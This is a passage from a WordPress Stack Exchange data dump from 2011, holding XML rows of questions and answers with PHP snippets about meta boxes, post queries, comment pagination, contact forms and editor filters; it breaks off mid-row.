  <row Id="11732" PostTypeId="2" ParentId="11716" CreationDate="2011-03-11T01:49:03.653" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I see from some of the previous questions/answers, WordPress MU Domain Mapping plugin might work for me.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As long as you've created a network first, yes. this is what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to pump them all to the main site, use this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's pretty much it.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-03-11T01:49:03.653" />
  <row Id="11733" PostTypeId="2" ParentId="11731" CreationDate="2011-03-11T02:15:30.493" Score="4" ViewCount="" Body="&lt;p&gt;If you followed that tutorial you linked then look at the function that registers the buttons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mylink_button() {&#xA;   if ( ! current_user_can('edit_posts') &amp;amp;&amp;amp; ! current_user_can('edit_pages'){&#xA;     return;&#xA;   }&#xA;   if ( get_user_option('rich_editing') == 'true' ) {&#xA;     add_filter( 'mce_external_plugins', 'add_plugin' );&#xA;     add_filter( 'mce_buttons', 'register_button' );&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you change it a  bit to check for the post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mylink_button() {&#xA;        if ( ! current_user_can('edit_posts') &amp;amp;&amp;amp; ! current_user_can('edit_pages')){&#xA;         return;&#xA;        }&#xA;        if ( get_user_option('rich_editing') == 'true' ) {&#xA;            global $typenow;&#xA;            if (empty($typenow) &amp;amp;&amp;amp; !empty($_GET['post'])) {&#xA;                $post = get_post($_GET['post']);&#xA;                $typenow = $post-&amp;gt;post_type;&#xA;            }&#xA;            if (&quot;newpages&quot; == $typenow){&#xA;                add_filter( 'mce_external_plugins', 'add_plugin' );&#xA;                add_filter( 'mce_buttons', 'register_button' );&#xA;            }&#xA;       }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way you only register the buttons on your &quot;newpages&quot; type&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-11T02:15:30.493" CommentCount="2" />
  <row Id="11734" PostTypeId="2" ParentId="11728" CreationDate="2011-03-11T02:44:21.000" Score="2" ViewCount="" Body="&lt;p&gt;That's a really inefficient way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use the $count variable you declared at the top, without any query_posts():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count = 0;&#xA;while ( have_posts() ) : the_post();&#xA;&#xA;if ( $count &amp;lt; 1 ) {&#xA;  // first post&#xA;} elseif ( $count &amp;lt;= 4 ) {&#xA;  // next 4 posts&#xA;} else {&#xA;  // rest of the posts&#xA;}&#xA;&#xA;$count++;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, it's 'showposts' not 'showpost'. Or use the newer 'posts_per_page'.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-11T20:02:17.613" LastActivityDate="2011-03-11T20:02:17.613" CommentCount="5" />
  <row Id="11735" PostTypeId="2" ParentId="11729" CreationDate="2011-03-11T02:50:54.053" Score="1" ViewCount="" Body="&lt;p&gt;here:&#xA;What you need is to create a meta box so first you use the add_meta_box()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Hook into WordPress add_meta_boxes action&#xA;add_action( 'add_meta_boxes', 'add_Businesses_custom_metabox' );&#xA;&#xA;/**&#xA; * Add meta box function&#xA; */&#xA;function add_Businesses_custom_metabox() {&#xA;    add_meta_box( 'custom-metabox', __( 'Businesses' ), 'Businesses_custom_metabox', 'events', 'side', 'high' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here you can see that i used &quot;events&quot; as the post type i want to register this meta box to and that my callback function is: &lt;code&gt;Businesses_custom_metabox()&lt;/code&gt; and its the function that actually displays the metabox, so we define it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Display the metabox&#xA; */&#xA;function Businesses_custom_metabox($post) {&#xA;    global $post,$current_user;&#xA;    //remember the current $post object&#xA;    $real_post = $post;&#xA;    //get curent user info (we need the ID)&#xA;    get_currentuserinfo();&#xA;    //create nonce&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;Businesses_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;    //get saved meta&#xA;    $selected = get_post_meta( $post-&amp;gt;ID, 'a_businesses', true );&#xA;    //create a query for all of the user businesses posts&#xA;    $Businesses_query = new WP_Query();&#xA;    $Businesses_query-&amp;gt;query(array(&#xA;                            'post_type' =&amp;gt; 'posts',&#xA;                            'posts_per_page' =&amp;gt; -1,&#xA;                            'author' =&amp;gt; $current_user-&amp;gt;ID));&#xA;    if ($Businesses_query-&amp;gt;have_posts()){&#xA;        echo '&amp;lt;select name=&quot;a_businesses&quot; id=&quot;a_businesses&quot;&amp;gt;';&#xA;        //loop over all post and add them to the select dropdown&#xA;        while ($Businesses_query-&amp;gt;have_posts()){&#xA;            $Businesses_query-&amp;gt;the_post();&#xA;            echo '&amp;lt;option value=&quot;'.$post-&amp;gt;ID.'&quot; ';&#xA;            if ( $post-&amp;gt;ID == $selected){&#xA;                echo 'selected=&quot;selected&quot;';&#xA;            }&#xA;            echo '&amp;gt;'.$post-&amp;gt;post_title .'&amp;lt;/option&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;select&amp;gt;';&#xA;    }&#xA;    //reset the query and the $post to its real value&#xA;    wp_reset_query();&#xA;    $post = $real_post;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to comment ever bit of it so you can understand better.&#xA;And the last thing you have to do is process the metabox when a post is saved: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//hook to save the post meta&#xA;add_action( 'save_post', 'save_Businesses_custom_metabox' );&#xA;/**&#xA; * Process the custom metabox fields&#xA; */&#xA;function save_Businesses_custom_metabox( $post_id ) {&#xA;    global $post;&#xA;    // verify nonce&#xA;    if (!wp_verify_nonce($_POST['Businesses_meta_box_nonce'], basename(__FILE__))) {&#xA;        return $post_id;&#xA;    }&#xA;    // check autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;    // check permissions&#xA;    if ('events' == $_POST['post_type']) {&#xA;        if (!current_user_can('edit_page', $post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;    } elseif (!current_user_can('edit_post', $post_id)) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    if( $_POST ) {&#xA;        $old = get_post_meta($post_id, 'a_businesses', true);&#xA;        $new = $_POST['a_businesses'];&#xA;        if ($new &amp;amp;&amp;amp; $new != $old){&#xA;            update_post_meta($post_id, 'a_businesses', $new);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-11T14:44:49.147" LastActivityDate="2011-03-11T14:44:49.147" CommentCount="11" />
  <row Id="11737" PostTypeId="1" AcceptedAnswerId="11748" CreationDate="2011-03-11T02:59:23.780" Score="0" ViewCount="78" Body="&lt;p&gt;I have a div wrapper around my comments pagination. I have the comments set to paginate in the Wordpress admin at 10 comments per page. I want to hide the div wrapper if there are less than 10 comments (i.e. the pagination links aren't shown). I can't figure out how to do this. I know how to hide the div wrapper if pagination is turned off altogether, but I don't know how to check to see if the comments don't span to a second page when pagination is turned on. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;comment-nav-wrapper&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;left-cap&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;comment-nav&quot;&amp;gt;                   &#xA;        &amp;lt;?php paginate_comments_links($args); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;&#xA;    &amp;lt;div class=&quot;right-cap&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to hide the comment-nav-wrapper altogether if the comments don't span to a second page. Is there some sort of Wordpress function for this, or do I need to come up with a bit of custom code?&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2011-03-11T06:57:22.037" Title="If paginated comments don't span to a second page, how do I hide the div wrapper?" Tags="&lt;comments&gt;&lt;functions&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="11738" PostTypeId="1" AcceptedAnswerId="11742" CreationDate="2011-03-11T03:39:33.760" Score="1" ViewCount="238" Body="&lt;p&gt;I am having problems looking for info on the codex on how to query for child pages. It seems to be missing the reference for the available parameters&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-03-11T05:40:40.223" Title="query_posts for child pages" Tags="&lt;query-posts&gt;&lt;page&gt;" AnswerCount="3" />
  <row Id="11739" PostTypeId="2" ParentId="4187" CreationDate="2011-03-11T04:13:34.543" Score="0" ViewCount="" Body="&lt;p&gt;man.. you don't need to edit any file on wordpress. You just go to the configuration session, select the theme my login, and change default values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for better understanding click on the link bellow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jfarthing.com/docs/Theme_My_Login/Custom_Redirection&quot; rel=&quot;nofollow&quot;&gt;http://www.jfarthing.com/docs/Theme_My_Login/Custom_Redirection&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bye&lt;/p&gt;&#xA;" OwnerUserId="3872" LastActivityDate="2011-03-11T04:13:34.543" />
  <row Id="11740" PostTypeId="2" ParentId="11738" CreationDate="2011-03-11T05:01:05.500" Score="1" ViewCount="" Body="&lt;p&gt;All the parameters for &lt;code&gt;query_posts&lt;/code&gt; are listed in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's a function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;get_children()&lt;/a&gt; for get child pages that you should use instead. Its parameters are &lt;strong&gt;similar&lt;/strong&gt; to &lt;code&gt;query_posts&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-03-11T05:01:05.500" />
  <row Id="11741" PostTypeId="1" AcceptedAnswerId="11746" CreationDate="2011-03-11T05:01:19.527" Score="0" ViewCount="104" Body="&lt;p&gt;I am designing a frontend for users, where they can submit an article/post from. But i am worrying if someone puts javascipt code, or SQL injection, or other malicious code. Is there a plugin or some sort of scripts which can help me to filter the post contents from security point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll appriate if someone can suggest me some code/script/plugin which can help to define rule over submmited contents like&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No. of external hyperlinks &lt;/li&gt;&#xA;&lt;li&gt;No. of Images&lt;/li&gt;&#xA;&lt;li&gt;Length of content etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Although i can do it manually. So the lower part of the question is less important.&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2011-03-13T14:53:41.490" Title="Stop Authors from submitting spam post" Tags="&lt;posts&gt;&lt;spam&gt;&lt;front-end&gt;&lt;frontpage&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="11742" PostTypeId="2" ParentId="11738" CreationDate="2011-03-11T05:05:03.967" Score="1" ViewCount="" Body="&lt;p&gt;Yeah they've moved the parameters to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt;. You're looking for the post_parent parameter.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-03-11T05:05:03.967" />
  <row Id="11743" PostTypeId="1" AcceptedAnswerId="13937" CreationDate="2011-03-11T05:09:31.717" Score="0" ViewCount="66" Body="&lt;p&gt;I'm trying to create a Thematic child theme that uses BuddyPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I tried using BuddyMatic -- which currently doesn't work with WP3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I tried the BuddyPress compatibility pack -- which totally works! Except for one thing: when I select &quot;Activity Feed&quot; as an option for the front page, I get a Not Found error. Going to /activity/, /groups/, /members/, and all other BuddyPress pages, however, works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what the issue might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-04-05T01:31:10.750" Title="Not Found when using activity stream as front page with BuddyPress" Tags="&lt;theme-development&gt;&lt;3.1&gt;&lt;buddypress&gt;&lt;the-loop&gt;&lt;framework&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="11744" PostTypeId="2" ParentId="11738" CreationDate="2011-03-11T05:40:40.223" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$pages = WP_Query( &#xA;    array(&#xA;        'post_parent' =&amp;gt; $parent_id,&#xA;        'post_type' =&amp;gt; 'page'&#xA;    )&#xA;);&#xA;// code to display&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-11T05:40:40.223" />
  <row Id="11745" PostTypeId="1" AcceptedAnswerId="11774" CreationDate="2011-03-11T06:04:36.970" Score="1" ViewCount="111" Body="&lt;p&gt;I see a number of posts on various plugins for doing an Event Calendar that work with Wordpress, but the free hosted version does not allow me to use these.  Are there any solutions that would work for hosting a calendar of events for an organization that I volunteer for?  Even embedding a Live/Google calendar would work, although I understand that iframes are also not allowed.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3840" LastActivityDate="2011-03-11T15:58:15.250" Title="Event Calendar on hosted wordpress?" Tags="&lt;calendar&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="11746" PostTypeId="2" ParentId="11741" CreationDate="2011-03-11T06:15:19.893" Score="0" ViewCount="" Body="&lt;p&gt;If your really worried I would probably create custom write panels or custom meta boxes tied into custom post types. That way you can make the custom post types based on user role and control what shows up very easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance you can make a custom post type called &quot;tweens&quot; with the user role of &quot;contributor&quot; so they can write posts but not submit them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using custom meta box's with a custom post type will give you complete control over what kind of data is submitted. For instance if you want to limit the above post type &quot;tweens&quot; to 5 images you only supply 5 image meta boxes, or limit the amount of words per text box, or strip urls or js, or remove the wysiwyg, etc ( anything really).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some references:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Contributor&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities#Contributor&lt;/a&gt;&#xA;http://codex.wordpress.org/Function_Reference/register_post_type&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-11T06:15:19.893" />
  <row Id="11747" PostTypeId="2" ParentId="11745" CreationDate="2011-03-11T06:51:21.807" Score="0" ViewCount="" Body="&lt;p&gt;Simply: If they don't allow installing plugins, then you'll have to accept that. No one over here can do magic tricks. (Btw: without link to hosting details, etc. it's only guessing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't you simply get a really &lt;em&gt;cheap&lt;/em&gt; hoster like 1-3$ / month? I ain't got one in my mind now, but there are some. &lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-11T06:51:21.807" CommentCount="1" />
  <row Id="11748" PostTypeId="2" ParentId="11737" CreationDate="2011-03-11T06:57:22.037" Score="0" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_number&quot; rel=&quot;nofollow&quot;&gt;comments number function&lt;/a&gt; or the more native &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_comments_number&quot; rel=&quot;nofollow&quot;&gt;get_comments_number function&lt;/a&gt; and combine it with &lt;a href=&quot;http://codex.wordpress.org/Option_Reference&quot; rel=&quot;nofollow&quot;&gt;the page comments option&lt;/a&gt; &lt;code&gt;if ( get_option( page_comments ) == TRUE ) // do stuff&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-11T06:57:22.037" />
  <row Id="11749" PostTypeId="1" AcceptedAnswerId="11754" CreationDate="2011-03-11T08:06:07.620" Score="0" ViewCount="114" Body="&lt;p&gt;I am just creating a simple contact form, but I notice that it seems to post to an invalid page. The url in the browser is correct but the title of the page is &quot;Page not found&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the top of the page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$emailed = false;&#xA;if (isset($_POST['submit'])) {&#xA;    wp_mail('example@example.com', $_POST['subject'], $_POST['content']);&#xA;    $emailed = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;below ... the HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; method=&quot;post&quot; id=&quot;contactform&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;formelem&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;formelem&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; class=&quot;required email&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;formelem&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;subject&quot;&amp;gt;Subject&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;subject&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;formelem&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;content&quot;&amp;gt;Content&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea name=&quot;content&quot; cols=&quot;30&quot; rows=&quot;10&quot; class=&quot;required&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit Message&quot; name=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-11T09:19:20.167" LastActivityDate="2011-07-21T23:58:48.273" Title="Why when I submit a form in wordpress it loads a 404 page though URL is correct" Tags="&lt;theme-development&gt;&lt;forms&gt;&lt;404-error&gt;&lt;http-post&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11750" PostTypeId="2" ParentId="11724" CreationDate="2011-03-11T08:35:01.243" Score="2" ViewCount="" Body="&lt;p&gt;Using save post action I check state:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;add_action('save_post' ,'my_save_postdata');&#xA;&#xA;function my_save_postdata ( $post_id )&#xA;{&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // logic&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-11T08:35:01.243" CommentCount="1" />
  <row Id="11751" PostTypeId="2" ParentId="11696" CreationDate="2011-03-11T09:06:48.027" Score="1" ViewCount="" Body="&lt;p&gt;After i understood what your Q is about, i got another A for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--&gt;&lt;/strong&gt; google for &quot;never ending pages&quot; javascript scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some example:&lt;br&gt;&#xA;&lt;a href=&quot;http://plugins.jquery.com/plugin-tags/neverending&quot; rel=&quot;nofollow&quot;&gt;http://plugins.jquery.com/plugin-tags/neverending&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://plugins.jquery.com/project/in-viewport-event&quot; rel=&quot;nofollow&quot;&gt;http://plugins.jquery.com/project/in-viewport-event&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://plugins.jquery.com/project/infiniScroll&quot; rel=&quot;nofollow&quot;&gt;http://plugins.jquery.com/project/infiniScroll&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-11T09:06:48.027" CommentCount="3" />
  <row Id="11753" PostTypeId="1" CreationDate="2011-03-11T10:02:16.560" Score="0" ViewCount="213" Body="&lt;p&gt;How would you resend the login &amp;amp; password to a user who has forgotten his password? In this case they don't want to go to the &quot;password&quot; forgotten page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Q: Mass re-sending of passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it's nearly impossible to resend the password, so reset is also ok. but i need a way to click select some users and then send them the reset link mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current Solution:&#xA;I list my users (ordered by role) in a table &amp;amp; simply added a little lost password form with a button. It works but is the opposite of ... nice. If you want to resend a password, you click the button and open a blank tab/window. This saves me from going back all time, but re-sending 200 password mails still is a pain. Plus: It's impossible to resend the password. The user just receives a link to click to reset the password.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td id=&quot;&amp;lt;?php echo $user-&amp;gt;ID; ?&amp;gt;;user_pass;&amp;lt;?php echo $wpdb-&amp;gt;users;?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;form name=&quot;lostpasswordform&quot; id=&quot;lostpasswordform&quot; action=&quot;&amp;lt;?php echo site_url('wp-login.php?action=lostpassword'); ?&amp;gt;&quot; method=&quot;post&quot; target=&quot;_blank&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;user_login&quot; id=&quot;user_login&quot; class=&quot;input hide&quot; value=&quot;&amp;lt;?php echo $curuser-&amp;gt;user_login; ?&amp;gt;&quot; size=&quot;15&quot; tabindex=&quot;10&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;wp-submit&quot; id=&quot;reset-pass&quot; class=&quot;margin-null&quot; value=&quot;send&quot; tabindex=&quot;100&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-11T10:02:16.560" Title="resend user login &amp; password with custom button" Tags="&lt;password&gt;&lt;wp-mail&gt;" CommentCount="3" />
  <row Id="11754" PostTypeId="2" ParentId="11749" CreationDate="2011-03-11T11:09:08.820" Score="4" ViewCount="" Body="&lt;p&gt;I could be wrong, but I vaguely remember that: name, email get hijacked by WordPress to do post comments, if you renamed the form elements to be contact-name and contact-email, do you get the same issue?&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-03-11T11:09:08.820" CommentCount="1" />
  <row Id="11755" PostTypeId="2" ParentId="11642" CreationDate="2011-03-11T11:27:46.480" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Grant Palin:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the decision is your own. As said Automattic is merging its plugins into JetPack and encouraging users with older versions to upgrade. If you want to continue using those plugins you likely will not have a choice but to upgrade to JetPack with the alternate being to switch to other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do expect the JetPack to be of high quality given the paid staff of Automattic maintains it. And as a counter to the &lt;em&gt;&quot;overkill&quot;&lt;/em&gt; concerns I'd rather have fewer plugins listed in my plugin directory &lt;em&gt;(fewer to update, fewer to have to understand, etc.)&lt;/em&gt; so I'd prefer to use JetPack instead of individual ones if I wanted to use more than one of the enclosed features because there is almost no overhead of significance to having the other functionality installed; certainly very little additional overhead on page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;strong&gt;at the time I write this&lt;/strong&gt;, &lt;a href=&quot;https://twitter.com/beaulebens/status/45595843507658752&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;you cannot use JetPack on localhost&lt;/strong&gt;&lt;/a&gt;. This makes using it for a professional solution that requires development, testing staging and live servers for deployment &lt;strong&gt;&lt;em&gt;not really an option&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;(vs. just by a blogger for their own blog.)&lt;/em&gt; If they do not address this limitation &lt;em&gt;(which &lt;a href=&quot;https://twitter.com/mdawaffe/status/45599192994942976&quot; rel=&quot;nofollow&quot;&gt;they might&lt;/a&gt;)&lt;/em&gt; I expect we might see people &lt;a href=&quot;http://en.wikipedia.org/wiki/Fork_%28software_development%29&quot; rel=&quot;nofollow&quot;&gt;forking&lt;/a&gt; the functionalities in JetPack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, &lt;a href=&quot;http://en.wikipedia.org/wiki/Caveat_emptor&quot; rel=&quot;nofollow&quot;&gt;Caveat emptor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-12T19:38:31.470" LastActivityDate="2011-03-12T19:38:31.470" CommentCount="2" />
  <row Id="11756" PostTypeId="2" ParentId="11722" CreationDate="2011-03-11T11:57:42.240" Score="2" ViewCount="" Body="&lt;p&gt;You can run a filter on &lt;code&gt;image_send_to_editor&lt;/code&gt;, the filter runs inside the &lt;code&gt;get_image_send_to_editor&lt;/code&gt; function which is resposible for sending the link HTML that surrounds images sent to the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The filter can be found in core, in &lt;code&gt;wp-admin/includes/media&lt;/code&gt; and is linked below for quick reference.&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/media.php#L89&quot; rel=&quot;nofollow&quot;&gt;core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/media.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-11T11:57:42.240" />
  <row Id="11757" PostTypeId="2" ParentId="11722" CreationDate="2011-03-11T12:02:40.867" Score="1" ViewCount="" Body="&lt;p&gt;Thanks a LOT to user &lt;a href=&quot;http://wordpress.stackexchange.com/users/1468/t31os&quot;&gt;t31os&lt;/a&gt; for the tip on where to find my solution!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I got what I wanted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_colorbox_class_to_image_links($html, $attachment_id, $attachment) {&#xA;    $linkptrn = &quot;/&amp;lt;a[^&amp;gt;]*&amp;gt;/&quot;;&#xA;    $found = preg_match($linkptrn, $html, $a_elem);&#xA;&#xA;    // If no link, do nothing&#xA;    if($found &amp;lt;= 0) return $html;&#xA;&#xA;    $a_elem = $a_elem[0];&#xA;&#xA;    // Check to see if the link is to an uploaded image&#xA;    $is_attachment_link = strstr($a_elem, &quot;wp-content/uploads/&quot;);&#xA;&#xA;    // If link is to external resource, do nothing&#xA;    if($is_attachment_link === FALSE) return $html;&#xA;&#xA;    if(strstr($astart, &quot;class=\&quot;&quot;) !== FALSE){ // If link already has class defined inject it to attribute&#xA;        $a_elem_new = str_replace(&quot;class=\&quot;&quot;, &quot;class=\&quot;colorbox &quot;, $astart);&#xA;        $html = str_replace($a_elem, $a_elem_new, $html);&#xA;    }else{ // If no class defined, just add class attribute&#xA;        $html = str_replace(&quot;&amp;lt;a &quot;, &quot;&amp;lt;a class=\&quot;colorbox\&quot; &quot;, $html);&#xA;    }&#xA;&#xA;    return $html;&#xA;}&#xA;&#xA;add_filter('image_send_to_editor', 